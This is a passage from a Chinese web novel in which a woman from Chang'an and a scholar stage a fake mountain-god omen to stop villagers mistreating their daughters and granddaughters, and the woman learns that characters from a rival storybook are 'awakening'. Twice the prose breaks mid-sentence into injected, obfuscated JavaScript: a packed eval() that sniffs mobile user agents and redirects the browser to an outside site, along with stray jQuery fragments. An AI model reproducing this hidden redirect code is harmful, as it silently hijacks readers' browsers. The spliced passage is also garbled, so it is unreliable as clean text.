指着叶醒枝手中的五色绳,陆葵葵声音软糯,“娘亲,这是什么?” “长命缕,这是端午节那天送你的礼物。”叶醒枝笑吟吟地道。 陆葵葵的小嘴巴咧开了,“谢谢娘亲,娘亲和爹爹也有礼物吗?” “娘亲有啊,你爹爹……不知道。”叶醒枝道。 “娘亲,给爹爹也编一个吧?”晃着叶醒枝的胳膊,陆葵葵还惦记着自己那个不曾相认的爹爹。 “不用了吧!”即便徐行之就是陆葵葵的爹爹,可叶醒枝和他此时此刻也没什么关系啊,送长命缕不合适。 “为什么不用,娘亲?”陆葵葵的脑瓜里冒出了疑惑。 叶醒枝:…… 给一个三岁半的小葵花解释不清楚啊,赶在陆葵葵冒出更多的疑惑前,叶醒枝急忙道:“行,我给你爹爹也编一个。” 先编一个糊弄一下陆葵葵,端午那天给不给徐行之另说。 临近端午佳节,老李山上的山神庙也快要修好了,叶醒枝带着陆葵葵去看进度,走到岔路口处,还没看见另一条山道的来人,那人怀中长长的柴禾直接碰到叶醒枝的襦裙,肩头的披帛沾上了几片枯叶和尘土。 精致的披帛被弄脏了! “是大姐姐!”陆葵葵脑袋瓜小小,但记性很不错,“昨天葵葵给绿豆糕的大姐姐!” 听到陆葵葵的声音,李宝生身子僵硬,准确来说,在她怀里的那一捆柴禾碰到叶醒枝衣裙的那一刻,李宝生的身子已经僵硬了。 老李山上,她来砍柴,弄脏了叶醒枝的衣裙。 是要发生和话本子里一样的事情了吗? 李宝生抱着柴禾的手在抖,接下来叶醒枝就要对她大发雷霆了吧?会吩咐小厮阿竹把她从山道上推下去,在她从山上摔下去后,陆葵葵这个三岁半的小歹竹还会再嘲讽她一句。 李宝生那肿成大馒头似的脚踝更疼了,仿佛从山上被推下去的疼痛已经到了她的身上,让她控制不住地颤抖,还有叶醒枝和陆葵葵给予她的那些羞辱,让李宝生觉得更疼了。 其实,昨天梦到那本话本子后,李宝生已经想好怎么报复恶毒的叶醒枝和陆葵葵了,既然叶醒枝让小厮把她从老李山上推了下去,那她也要趁叶醒枝不注意推她一下,再用极其狠毒的话骂陆葵葵几句! 小孩子脸皮软,陆葵葵一定会哇哇大哭的的。 望着面前抱着柴禾、面黄肌瘦的女孩儿,估摸着有十来岁,叶醒枝注意到了李宝生的异常, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490453|169604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温声道了声“没事”。 叶醒枝拍了拍肩头垂下来的披帛,“你是?葵葵说你昨天来了老宅,是找我有事吗?” 听到叶醒枝温柔的声音,李宝生又抖了一下,瞪大了眼睛。 和梦中的情节不一样,和李宝生预想的也不一样,叶醒枝没有对她动手,也没有羞辱她。 这是怎么回事? 李宝生脑子乱了起来,但僵硬的身子倒是放松了些,“叶小姐,我……我叫李宝生,昨天不是要去找你。” “这样啊,你先走。”叶醒枝又笑了笑,给李宝生让路。 “大姐姐再见呦!”陆葵葵也跟着挥手。 望着叶醒枝和陆葵葵的笑靥,李宝生抱着柴禾呆呆立在原地,一切都和《在县衙给恶毒小继女当后娘,我一胎六宝》中的情节不一样了,恶毒的叶醒枝和恶毒的陆葵葵,变成了姐妹而不是母女,不仅没有欺负她,还对她笑了? 见李宝生没有动弹,叶醒枝觉得奇怪,一旁的陆葵葵小脑袋瓜倒是想起了一件事,“大姐姐你还不走吗?大姐姐你的肚肚还饿吗?葵葵的葵花小包里还有一块绿豆糕,可以给大姐姐吃呦。” 饿肚肚很难受的,虽然和这位大姐姐不熟悉,但陆葵葵希望大姐姐的肚肚不要再饿的响很久了! “不……不用。”李宝生终于回过神。 说着拒绝的话,她却是想到了昨天的那块绿豆糕,托了那一块绿豆糕的福,李宝生昨天那悲惨的一天,有了些许香甜。 昨天中午没有饭吃,昨天晚上和今天上山砍柴前,李宝生也只喝了两个半碗的玉米糁,她当然饿了,但她不会再吃陆葵葵给予的绿豆糕了! 即便现在陆葵葵没有欺负她,万一过段时间陆葵葵原形毕露了呢? 李宝生抱着重重的柴火,越过叶醒枝和陆葵葵,瘸腿往山下走去。 擦身而过的那一刻,叶醒枝眉头微蹙,因春衣不合身看见了李宝生那肿的比大馒头还要粗的脚踝。 盯着李宝生瘦弱的背影看了几息,叶醒枝终是忍不住道:“等等!” 李宝生抱着柴禾的手又抖了起来,恐惧叶醒枝要和她算账,不过下一息,李宝生心头的恐惧就被惊讶代替了,叶醒枝好听的声音传到她耳中,“你的脚怎么了?” “摔到了。”李宝生转过身。 叶醒枝轻叹口气,摔得这么严重还要上山砍柴,换成陆葵葵,她是绝对不忍心的。 叶醒枝又问道:“怎么摔到的?” 李宝生低声道:“昨天上午我爬树上摘榆钱,不小心从树上摔下来了。” 怜惜从心头涌出,叶醒枝跟着李婶子去摘过榆钱,知道山下村那几棵榆钱树有多高,李叔那样四五十岁的男人上去了都下不来,需要徐行之的帮忙,何况李宝生一个十来岁的小姑娘? 又不是家里人死绝了,让一个十来岁的小姑娘爬三四层楼高的榆钱树,这还不算,脚踝都摔伤了还得山上砍柴! “阿竹,你把宝生送回她家。” “是,小姐。”阿杏很快接过李宝生怀中的柴火,“小姑娘,走吧,我送你回家。” 恶毒的叶醒枝让小厮阿竹送她回家? 李宝生茫然看着叶醒枝,还未反应过来,只听叶醒枝又道:“阿杏,今天是不是王大夫来给徐行之复诊?待会儿让王大夫去宝生家里一趟,看看她的脚。” 陆葵葵小嘴叭叭,一会儿说她爹爹今天吃了两个榆钱窝窝头,一会说她爹爹和她一块看蚂蚁搬家了,王大夫今个要来复诊,叶醒枝也是听陆葵葵说的。 阿杏应了声好,下山往徐家而去。 李宝生终于反应过来,“叶小姐,不用了,我不用看大夫。” 这样太麻烦叶醒枝了。 李宝生此刻很想哭,她爬树摘榆钱是为了给家里人添口粮,可她的爷爷连药酒都舍不得让她抹,从昨天到现在,要给她找大夫的人竟然是叶醒枝! 在此之前,叶醒枝连她的名字都不知道,叶醒枝不该是像话本子里那样恶毒地把她推下山吗? “不看大夫,只会越来越严重。”叶醒枝道。 接着又补充一句,“不用你掏银子子,你家里人那边我会让阿竹去说的。” 陆葵葵软软的声音响起,“大姐姐,姐姐有银子的,你就答应姐姐吧,腿腿受伤了很疼哒。” 直到李宝生被阿竹送回了家,还在惊讶于叶醒枝的举动和陆葵葵软糯糯的几句话。 李宝生想,可能昨天的那个梦只是个梦,《在县衙给恶毒小继女当后娘,我一胎六宝》这本话本子也并不存在。 阿杏径直来了徐家,“徐秀才,您恢复如何?” “就快痊愈了。”徐行之朝阿杏身后看了一眼,没有看到脸蛋圆圆的陆葵葵,有些失望。 他还以为阿杏是带着陆葵葵来徐家找他玩呢。 阿杏:“那就好。徐秀才,我得借王大夫一用,小姐在山上遇到了李宝生,李宝生脚踝摔伤很严重,小姐心善,记得王大夫今日来给您复诊,想请王大夫去李宝生家里一趟。” 徐行之自然答应,“王大夫快去吧。” 等阿杏与王大夫出了屋门,徐行之靠在榻上的徐行之,叶醒枝之所以知道王大夫今日来给他复诊,是听陆葵葵说的吧?李宝生家的情况他有所耳闻,名字叫“宝生”,但李老头可不把自己的孙女当宝贝。 等王大夫给李宝生诊治后,叶醒枝也从李婶子嘴里得知了李宝生家的情况。 归根究底还是那四个字,“重男轻女”,李宝生的爷爷会给李宝生半碗玉米糁喝,但再多的是没有的,从三四层楼高的榆钱树上摔下来,李宝生的爷爷也还是要让李宝生上山砍柴。 得知山下村女童被徐老七那个老不死的猥亵却不敢把秘密告诉家里人起,叶醒枝就对这四个字感到厌恶。 若是没有改变,山下村还会有许多个李宝生被家里人轻视和欺负。 端午佳节那天,山神庙就要修好了,何不趁着那一天天搞点事? 领着陆葵葵,赶在初五前,叶醒枝来了徐家。 照例是一番父女情深的对话,如今叶醒枝都习惯了,等陆葵葵小嘴叭叭说完了话,叶醒枝走了过来,“徐秀才,可否打扰你片刻?” 叶醒枝今日竟然这么客气,徐行之道:“叶小姐客气了,称呼我名字即可。” 叶醒枝笑了笑,“我让王大夫给李宝生看病的事情你是知道的吧?李宝生家中的情况,你应该也了解吧?其实从徐老七家的地瓜窖找出那么多头绳和帕子开始,我就有这样的想法了,山下村有村民重男轻女,才导致女童受欺负了也不敢回家告诉爹娘,端午那天,李村长会带领村民上山祭拜山神,我想在那天让山神显灵,好改变村里人的观念。你也掏银子修缮了山神庙,不知你可愿答应?” 作为唯二出钱修缮了山神庙的人,叶醒枝要在那天搞事,自然要征求徐行之的同意。 徐行之有些意外,叶醒枝这样吃穿不愁的官家小姐,竟然能注意到含李宝生在内的山下村女童们的悲苦。 “叶小姐仁善,行之岂会不答应?”徐行之温声道:“只是不知叶小姐要用何方法在端午那日让山神显灵?” 22. 送他长命缕 很快,端午佳节来临。 这天,山下村还有一件大事,那就是山神庙修缮完毕,上午时分,要由李村长李春来带着村民们上老李山祭拜山神。 仪式结束后,叶醒枝佯装不经意叫了一声,“啊!” 李村长问道:“怎么了?” 叶醒枝指了下,“我刚刚看到一道金色的光,从山神庙里飞了出去。” 李村长没有看到什么金光,不过叶醒枝如今是山下村的“恩人”,忽视不得,李村长让一个村民去外头看看,不多时,村民回来,“村长,没看到有什么光,就在外头的那棵向日葵上看到了一张纸,这纸卡在向日葵的叶子上。” 李村长接过来正反看了看,诧异地瞪大眼睛,莫不是山神显灵了? 叶醒枝凑过去,又“啊”了一声,语气很是单纯,“金色的纸?这不就是刚才的那道光吗?还有上面的图案,不会是山神显灵了吧?” 有叶醒枝附和,李村长不再半信半疑,“我可是第一次看到金色的纸,还有这图案,和契约书上山神留下的图案一样!” “村长,纸上头写了什么?” “是啊,都写了啥?村长你快念念!” 村民催了起来,李村长双手拿着金箔纸,神色恭敬,“叶小姐刚才说看到一道金光从山神庙里飞了出去,这纸也是金色的,上头的图案还和契约书上山神留下的图案一模一样,应当是山神显灵了,这上头有三行字,谁说女子不如男?生儿生女有定数,重男轻女遭天罚!” 这三句话浅显易懂,山下村大多村民都明白意思,“天罚?山神这是什么意思?” 又有人道:“是不是谁得罪了山神?” 见李村长还未回答,叶醒枝适时跳了出来,“我猜山神的意思是,村中有人重男轻女,对家中女儿和孙女不好,山神不高兴,准备降下天罚。” 好多村民不同意,“儿子和孙子本来就比姑娘家重要啊!” 叶醒枝不搭理他们,继续道:“生儿生女有定数,山神显灵不都说了吗?你们家里有几个儿子几个女儿、孙女,那都是有定数的。有些人家里多女儿这是上天注定的,你们偏跟老天爷对着干,拼命想生一个儿子,老天爷和山神岂会高兴?比如……” 叶醒枝故意顿了一下,然后看向人群末端的李宝生和李宝生的爷爷李老头。 见状,李村长还有山下村其他村民也看了过去。 李宝山的脚踝还没有彻底痊愈,但今个她的爷爷李老头非让她上山,担心不祭拜山神会惹怒山神,他们李家会变得更穷! 这么多目光,李宝生死死低着脑袋,不知道叶醒枝为何要往她和爷爷这边看。 其实刚才在山神庙看到叶醒枝的时候,李宝生就想过来道一声谢,但没有寻到机会。并且,李宝生还很愧疚,因着梦到那本话本子,她想了很多恶毒的法子要报复叶醒枝和陆葵葵,可没想到的是,叶醒枝和陆葵葵没有欺负她,一个花银子找王大夫给她治伤,一个给她绿豆糕填肚子吃。 同样害怕的人还有李宝生的爷爷李老头,李老头有四个孙女却是一个孙子都没有,自打孙女生下来,他们李家也越来越穷,李老头在山下村抬不起头,李村长召集村民讲话或者是来山上祭拜山神的时候,他都是在最后面站着。 叶醒枝终于出了声,“比如李宝生家,她爷爷有四个孙女,这是上天注定的,但是她爷爷只让孙女们喝半碗玉米糁,从树上摔下来也不舍得让李宝生抹药酒,非要和山神对着干,山神不高兴,就罚了他,让他们家越来越穷了!” 李宝生猛然抬头,李宝生的爷爷李老头同样抬起头,枯树皮的老脸上满是震惊,盯着叶醒枝,“是我这个老头子的错?叶小姐,我个老头子才不敢和山神对着干,我们家越来越穷,那是因为生孙女生的太多了,不吉利,才越来越穷的。” “山神都显灵了你还要狡辩,明明就是你重男轻女对孙女不好,和山神对着干,山神才罚了你们家!”叶醒枝又道:“从现在起,你对家中的孙女好一点,让她们吃饱穿暖,一家人齐心赚钱,山神看到了,自然不会再罚你,你们家也会越来越兴旺的。” “原来是李老头惹怒了山神啊!” “怪不得李家这几年不行了,我记得前些年,他们家隔一段时间就能吃上肉。” “别说李老头了,xxx家不也是这样,只给孙女半碗稀汤喝……” 叶醒枝的这番话和村民的议论,让李老头那张枯树皮般的脸越发抬不起了,所以,他们家一年不如一年,是他这个老头子的错?不是生了太多孙女的错? 李宝生则是呆呆看着叶醒枝,丝毫没有了方才的害怕,原来,她不是个不吉利的孙女,是爷爷对她还有上头的三个姐姐不好,惹怒了山神! 这是真的吗? 山神显了灵,叶醒枝这个从长安而来的官家小姐又当着所有人的面拿李宝生和其爷爷李老头举例子,其他村民也一字一句指责起了李老头,劝李老头对孙女好点、不要再和山神对着干了。 不过指责着指责着,有些村民就想到了自己和家中的长辈,他们对家里的女儿、孙女也只是给口吃的其他就不管了,不会山神和老天爷也要罚他们吧? 不要啊! 他们马上改! 人群散去,下山前,李宝生鼓起勇气,问出了这句话,“叶小姐,山神显灵说的那些话,是真的吗?” “是。”看着她,叶醒枝语气认真,“你爷爷不把你当成宝,山神要罚他。” 明明李宝生从来没有见到过山神,山下村其他人也没有见过,明明不久之前因为那本话本子李宝生还在讨厌叶醒枝,可此刻,她却像是找到了可以为自己撑腰的人一样。 李宝生的委屈尽数涌了上来,“叶小姐,我……我是宝吗?爷爷给我取这个名字,其实是想生出来一个宝贝孙子。” 原来是这样! 叶醒枝道:“宝生宝生,生出来的是你,你叫李宝生,那么你就是这个宝!以后他要是还不给你饭吃,让你崴着脚也得上山砍柴,他就会有天罚,你来山神庙找山神替你撑腰!” 叶醒枝不觉得自己是在说假话哄骗李宝生,很明显山下村村民十分相信老李山山神的存在,那么利用这份相信,以山神显灵加降下天罚为恐吓,似李宝生的爷爷李老头这样重男轻女的人心里就会有忌惮。 回到家,本是端午佳节,李宝生家里的气氛却很是沉重,李宝生的爹爹鼓起勇气,“爹,你以后对宝生还有她上头的三个姐姐好点,万一山神更生气了怎么办?咱们家不能再穷下去了!” 李老头:……合着全是他的错? 李老头觉得很憋屈但又没办法让山神再显一次灵替他洗清冤屈,最后硬邦邦道了一句,“知道了。” 李宝生的爷爷李老头气得连粽子都没吃,想来想去赶在午饭前来了徐家,徐行之是整个山下村唯一有功名的读书人,村民们有不懂的事都会来找他。 李老头把上午祭拜山神发生的事情对徐行之讲了一遍,“叶小姐说看到了一道金光,李村长让人出去看,在山神庙后头的那颗大向日葵上找到了一张金纸,金纸上写了几行字,叶小姐说这是山神显灵了,村里的人对闺女和孙女不好,就会被山神责罚,叶小姐还说我们家这几年越过越穷就是因为我对宝生她们不好。行之啊,这是真的吗?村里人重男轻女的又不止我一个老头子,山神怎么只罚我们家?” 徐行之伤势还未痊愈,不便上山,但那张金箔纸上写的几行字,李老头没说出来,徐行之却也知道内容。 因为,这几行字就是他写的。 所谓的山神显灵,是他和叶醒枝提前商量好的。 徐行之不在场,不过听着李宝山爷爷李老头的讲述,少女“义正词严”忽悠山下村村民的模样已浮现在他脑中。 徐行之的桃花眸漾着浅浅的笑意,这位叶小姐,真是心善又胆大,胆敢在山神庙当着山神的面来忽悠村民,可她的这一番忽悠,不是为了自己,而是为了似李宝生那样的村中女童。 徐行之突然有些遗憾,遗憾自己今日不能上山去到山神庙,无法亲眼目睹。 若山神真的存在,那就长长眼,此举吃力不讨好,可千万别生叶醒枝的气,更是该赏她。 和叶醒枝一样,徐行之面不红的忽悠着李老头,“山神福泽万物,村里家家户户的一举一动,山神自然清楚,宝生虽是女儿家,但也是山神的子民,李伯伯你对宝生不疼爱,那就是对山神不敬,山神自是会不高兴。至于其他人家,李伯伯你怎知没有受到惩罚?有些人的日子越过越差,有些人家中出了事,指不定就是因为受到了山神的惩戒。” 徐行之的话和叶醒枝说的一样,李老头相信了九分,又想到了前段时间咽了气的徐东来、王霞和徐众望,李老头在心里寻思,这三个人不会就是因为对徐行之这个侄儿不好,才招来了山神的惩罚没了性命吧? 李老头还有最后一分的不相信,“那二丫她爹娘怎么说?二丫她爹娘可是个疼女儿的人,二丫不还是小小年纪就遇害了?” 徐行之勾了勾唇,“非也,李伯伯你应当还没忘记,二丫刚刚遇害的那段时间,村里人都说是犯了外重丧,正是因着二丫她爹娘疼宠女儿,有山神保佑,二丫遇害的真相才能被叶小姐和王东、陈山两位衙差查出来,二丫泉下有知也能瞑目。二丫她爹娘疼爱女儿,并不重男轻女,指不定福报还在后头。” “李伯伯若是对宝生还有其他孙女多加疼爱,日后有了福报,家里人也会对你孝顺有加。” 李老头回了家,不就是疼孙女吗?他可以的! 也有人来老宅找叶醒枝询问,叶醒枝也是类似的说辞。 总之,经过山神显灵这件事后,不仅是李老头,山下村村民都把“重男轻女会遭天罚、对女儿、孙女好会有福报”这句话刻在了脑子里。 自从,李宝生在家里可以吃上一整晚玉米糁了,不再是之前的半碗,榆钱做的窝窝头她也可以吃进肚子里了。 李宝生的爷爷李老头不想当让整个李家日子越过越差的“罪人”,为了不引来山神的惩罚,李老头对李宝生还有其他三个孙女多了不少疼爱。 说来也是神奇,李老头有了改变后,过了大半年,他们家的日子确实有了改善。 看到了李老头家的变化,村里其他人渐渐也不再苛待家中的女儿和孙女了,贫穷偏僻的山下村,就此没多少人再虐待家中的女儿、孙女。 不过这都是后话了,叶醒枝此举,改变不了山下村村民重男的观念,但可以利用山神显灵一事改一改他们轻女的想法。 即便只是有一点点的改变,从吃半碗玉米糁到可以吃一碗玉米糁,对于李宝生这样的女儿家来说也是好事。 至于叶醒枝言之凿凿李宝山家的日子会越过越好,倒也不是在说谎。 她打听过李宝山家的情况,李家本来日子不错,一连有了四个孙女后,李宝生的爷爷觉得没有香火传承,在村子里也抬不起头,就此没了干劲,日子才越来越差的。 只要李宝生的爷爷把想法改了,李家一家人和和睦睦的,无论是干地里活还是闲暇时去镇上找活计,李宝山的爷爷还有家中其他人都有了干劲,日子当然会越过越好。 端午佳节,陆葵葵吃粽子的时候也惦记着徐行之,用午膳时,缠着叶醒枝来了徐家送粽子。 叶醒枝在话本子里看到过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她知道陆葵葵是她的女儿,陆葵葵也知道自己的爹爹和娘亲是谁,只有某个人什么都不知道,“抛弃”了自己的女儿! 陆葵葵指了指叶醒枝,又用小指头指了指徐行之,“爹爹是思南县的县令,爹爹和娘亲没有抛弃我啊,娘亲在这里,爹爹你也在……” 叶醒枝赶忙咳嗽了几声,打断陆葵葵的话,“是姐姐,还有哥哥。” 陆葵葵小嘴巴张成了一个圆,是哦,她又喊错了! 徐行之吃惊地道:“葵葵的爹爹是思南县的县令?” 叶醒枝在心里想,是不是你不知道吗?如果你就是陆葵葵爹爹,未来的你是不是县令,只有你自己最清楚啊! 吐槽归吐槽,叶醒枝道:“你知道思南县在哪里吗?” 徐行之自然不知,等伤势痊愈后,去到县学他会向同窗们打听的。 陆葵葵为何要冲着叶醒枝喊娘亲?小葵花看着挺机灵的,应当不会认错自己的娘亲才是。 叶醒枝来徐家不止是为了送粽子,把上午祭拜山神庙山神“显灵”一事粗粗对徐行之讲了一遍,即便已经从李宝生爷爷李老头的嘴里得知此事,徐行之还是认真听着。 徐行之揖手,“想来村中那些重男轻女之人会有所收敛,叶小姐,行之代山下村村民向您道谢!” “你太客气了,你不也出力了吗?”叶醒枝笑着道,金箔纸和纸上的三行字都是徐行之写的。 “这不一样。”徐行之微微摇头。 不得不承认,若不是叶醒枝主动提起,他没有心思插手此事,等伤势痊愈后,他要去洛州参加秋闱,还时刻留意着王云是否回再派人来刺杀他,他是山下村的一份子,受村民们尊敬,但在这件事上,他不如叶醒枝。 叶醒枝不赞同,“你既然助了我一臂之力,那就是一样的。” 在此之前,叶醒枝对村长李春来也提过这件事,但李村长没有太多反应,徐行之也捐了银子修缮山神庙,若徐行之不答应,她也没办法在今天搞事。 徐行之的本心,和她是一样的。 此前因着徐行之“助纣为虐”、默认犯了外重丧这一流言,叶醒枝对徐行之是有些讨厌的,觉得他是个歹竹,又因着徐东来、王霞和徐众望之死中徐行之表现有些异常,叶醒枝对徐行之更是有提防。不过,经过这一遭,叶醒枝对徐行之的厌恶散去大半。 咸蛋黄粽子送到了,该说的话也说了,叶醒枝正要离开,陆葵葵握着叶醒枝的手摇了摇,“姐姐,还有红绳呢!红绳还没给爹……哥哥!” 徐行之送着她们到门口,“什么红绳?” “是长命缕。”叶醒枝有些尴尬,“葵葵让我给你编了一条。” “姐姐,快给哥哥呦!”陆葵葵的大眼睛里都是期盼。 娘亲和爹爹乖乖哒,以前娘亲给爹爹送东西是不需要她催哒。 “葵葵非让我编的,你……你要吗?”叶醒枝只好拿了出来。 叶醒枝非他亲戚,又和他无私交,徐行之不该要的,徐行之薄唇轻启,“很精致,多谢叶小姐。” 徐行之接过了那条长命缕,等叶醒枝和陆葵葵离开后,佩戴在腕间。 说起来,这是他收到的第一条长命缕。 徐行之非徐东来、王霞的亲侄儿,这两个人只会给徐众望编长命缕、发压祟钱,从来没有他的份儿。到了县学读书,同窗们面都是男子,端午佳节自然也不会送他长命缕。 在他十八岁这年的端午节,徐行之收到了人生第一条长命缕,来自从长安而来的那位叶小姐! 23. 樱花雨;离开 自打山神“显灵”后,每天早上叶醒枝都会收到一束花,是李宝生摘来送她的。 李宝生如今可以吃饱饭了,她知道这是叶醒枝的功劳,这天,把娇嫩的桃花送到李家老宅,李宝生没有急着离开。 用过早膳,叶醒枝对着李宝生道:“桃花好漂亮啊,你今天可是有事?” “叶小姐,我摘榆钱从树上摔下来的那天,其实梦到了一本话本子,名字叫《在县衙给恶毒小继女当后娘,我一胎六宝》。”李宝生最终打算把这件事告诉叶醒枝,经过这段时间,她确定叶醒枝不是话本子那个恶毒的官家小姐,三岁半的陆葵葵也不是恶毒小反派。 只有把这件事情告诉叶醒枝,李宝生心头坠着的石块才能掉落,再者,李宝生不知道自己为何会梦到这个话本子,但说出来对叶醒枝也是个提醒。 “在这本话本子里,您嫁给了思南县的县令陆时安,生了一个和陆葵葵同名同姓的女儿,也是三岁半了,但话本子里您和陆葵葵是母女,不是姐妹。” “陆县令陪您回乡祭亲,我上山砍柴把您的衣裙弄脏了,您让阿竹把我推下山,葵葵也不让我近你们的身。我回到家受到了爷爷的训斥,只能饿着肚子,我躲在草丛里哭的时候遇到了一个叫李福宝的姑娘,她是这本话本子的主角,但村里没有这么一个人。她给了我窝窝头填肚子,还给了我药酒抹脚踝。碰巧您的夫君陆县令看到了,从此就讨厌上了您和葵葵,对善良的李福宝有了好感。” 担心叶醒枝不相信,李宝生又急忙道:“叶小姐,我不是在说胡话,我真的梦到了这本话本子。” 《在县衙给恶毒小继女当后娘,我一胎六宝》? 面露诧异的同时,叶醒枝觉得有些耳熟。 是了,这不是出现在她梦中十来个话本子的其中一个吗? 春水般的眸子瞪大,叶醒枝又想起了自己曾经做过的那个梦,梦中的那株灵葵会说话,把陆葵葵从七年后传回来的消息告诉了她,也提到了这些话本子。 陆葵葵的爹爹陆时安任思南县县令,招了不少桃花,其中有部分人心生忌惮,便写了十来本话本子,把叶醒枝和陆葵葵塑造成大反派和小反派,妄图在话本子里“取而代之”,那些话本子里,最终和陆时安白头偕老的都不是叶醒枝,叶醒枝的设定是糟糠下堂妻。 这就罢了,几年后才出现的话本子,和现在的叶醒枝又无关系,但灵葵提过一嘴,说是她和葵葵会遭此一劫,那十来本话本子里的某些角色,如果怨念太深,便会觉醒,其实和陆葵葵从七年后穿回来的性质差不多。 总之,那些角色处在该话本子构造的世界里,会把话本子的内容当真,觉得自己受到了她和陆葵葵的迫害,可能会报复她们两个! 所以,李宝生就是其中之一? 怪不得叶醒枝第一次见到李宝生时,李宝生看她的眼神很奇怪。 看到李宝生面上的紧张,叶醒枝春水眸中的诧异散去,“我相信你。” 还是叶小姐好,换成其他人,可能以为她中邪了,李宝生高兴笑了起来,随即羞愧地道:“叶小姐,其实我说谎了,那一天我就是来李家老宅找您的,梦到了这本话本子之后,我对您和陆葵葵很是厌恶,想要让你们尝一尝我吃过的那些苦头。没想到你们不是这样的,您不仅没有嫌弃我,还请了大夫给我看病,更是因为您,爷爷他才对我和姐姐们好了许多。叶小姐,对不起!” 叶醒枝细眉微扬,突然感谢自己和陆葵葵还算心善,避免了一场劫难。 如果她和陆葵葵没有帮助李宝生,李宝生压根不需要费心谋划,趁她和陆葵葵在老李山上的时候推她们两个一把,最坏的结果,山下村的村民可以就近来吃她和陆葵葵的席了。 “你又没有错。”歉疚的人其实是叶醒枝。 依照灵葵的提醒,其实是有这本话本子的,李宝生能够梦到这些,属于话本子里的角色觉醒,说明,话本中的李宝生吃了很多苦头,心有怨念才会觉醒。 “宝生,是我要向你道谢。”换成叶醒枝,可能是不会把自己梦到一本话本子的事情说出来的。 李宝生绞尽脑汁又想出来一些内容,“叶小姐,虽然山下村没有叫李福宝的年轻女子,但话本子里有这么一段,陆县令陆时安对您和陆葵葵起了厌恶后,和您时有争吵,一天,陆县令外出散心,恰好看到樱桃树下的李福宝,吹着风下了一场樱花雨,陆县令觉得李福宝像仙女一样,就对她动了心,您可得提防站在樱桃树下的小娘子。” 叶醒枝咬着唇有些想笑,话本子里的陆时安还是个渣男啊,没和她和离就对“女主”动心了! 若是陆时安因着一场樱花雨就对话本子里的李福宝动了心,那说明陆时安喜欢的其实是樱花吧?干脆模仿“梅妻鹤子”,以樱花为妻吧。 陆葵葵跑进了厅堂,恰好听到了李宝生的最后几句话,“宝生姐姐,什么是樱花雨啊?” “是樱花下的雨。”李宝生道。 “为什么樱花会下雨?”仰着脑袋瓜,陆葵葵还没见过呢。 叶醒枝接过话解释,“葵葵,是风把树上的很多樱花吹落,像雨水一样落在身上。” 送走李宝生,叶醒枝若有所思,李宝生能够觉醒,可能还会有其他话本子里的炮灰角色觉醒,万一有人捅她和陆葵葵一刀,那可就完了! 还有一点,据李宝生提供的消息,无论是时间还是“女主李福宝”、陆时安的身份等等,都是和现实对不上的,所以,李宝生所在的话本子世界,明显是虚构的。 该话本子所构造的世界,和现实世界有重叠,但因着大部分内容都是虚构的,就出现了“对不上”的情况。 只有这样才能解释的通。 关于樱花雨,叶醒枝解释了一通,陆葵葵只记住了“樱花雨”三个字,来徐家找徐行之玩的时候,趴在徐行之怀里,“哥哥,臭臭哒。” 徐行之忍俊不禁,“不是臭,是膏药的味道。” 徐行之心想,要不待会儿把衣服熏个香,这样陆葵葵就不会闻到药膏的气息了。 “哥哥还疼吗?”摸了摸徐行之的胳膊,陆葵葵的小眉毛扭成了小虫儿。 看着小葵花心疼的模样,徐行之唇角溢出笑,指腹抚摸着陆葵葵的小眉毛,“不疼了。” 两人说了一会儿闲话,陆葵葵突然想起了樱花雨,“哥哥,你看过樱花下雨吗?” “樱花雨?”徐行之重复了一遍。 陆葵葵:“姐姐和宝珠姐姐在屋里说话的时候提到了樱花雨,哥哥,哪里可以看到樱花雨啊?葵葵想看樱花雨!” 山寺桃花始盛开,此时山下村是有些樱花还在开花,徐行之想,他快要离开山下村了,不知还能不能见到陆葵葵,或许让陆葵葵看场樱花雨,小葵花随着叶醒枝回了长安也还能记得他。 * 叶醒枝待在书房写志怪话本子,陆葵葵清脆的咯咯笑从老宅外传了进来,来到窗棂旁,叶醒枝道:“阿竹,陆葵葵在乐什么呢?” 院中在干粗活的阿竹道:“小姐,葵葵在和徐公子在外边玩。” 当陆葵葵娘亲这么久,她很少听到陆葵葵这么高兴的笑声,放下毛笔,叶醒枝来到老宅外。 一瓣粉白的花瓣随着春风落到叶醒枝的披帛上,叶醒枝下意识垂头看了眼,随即看向前方,烂漫的樱花纷飞,陆葵葵清脆的笑声越发响亮,待在樱花雨中欢乐转着圈。 只是,下樱花雨的不是老天爷,也不是樱桃树,而是徐行之。 徐行之立在那里,掌中捧着一大捧烂漫的樱花,桃花眸里洋溢着笑意,樱花瓣瓣似雨,有些飞到他的长袍上,更多的落到了转圈的陆葵葵兔耳髻和肩上。 这是一场独属于陆葵葵的樱花雨。 这位十岁就中秀才的少年天才,即便不知道陆葵葵是他的女儿,也给陆葵葵下了一场樱花雨。 叶醒枝有些移不开眼睛,难怪陆葵葵穿回到七年前也心心念念着她的爹爹,原来,陆葵葵的爹爹不仅会给她做木马摇,还会给她下樱花雨。 转着圈的陆葵葵不小心跌到了,看到了不远处的叶醒枝,“姐姐,快来呀,哥哥给葵葵下樱花雨啦,葵葵好开心啊!” 陆葵葵很快爬了山起来,徐行之长身玉立,捧着樱花看向叶醒枝。 笑盈恰似天边月[注1],叶醒枝款款走过去,“怎么想起下樱花雨了?” “葵葵听宝生姐姐说了樱花雨,哥哥就给葵葵下樱花雨了,姐姐,哥哥好厉害啊!”陆葵葵圆圆的脸蛋笑成了小葵花。 叶醒枝眉眼弯弯,“嗯,你哥哥好厉害!” 陆葵葵是个好孩子,惦记着自己娘亲,拽着叶醒枝往徐行之身边来,“姐姐也来。” 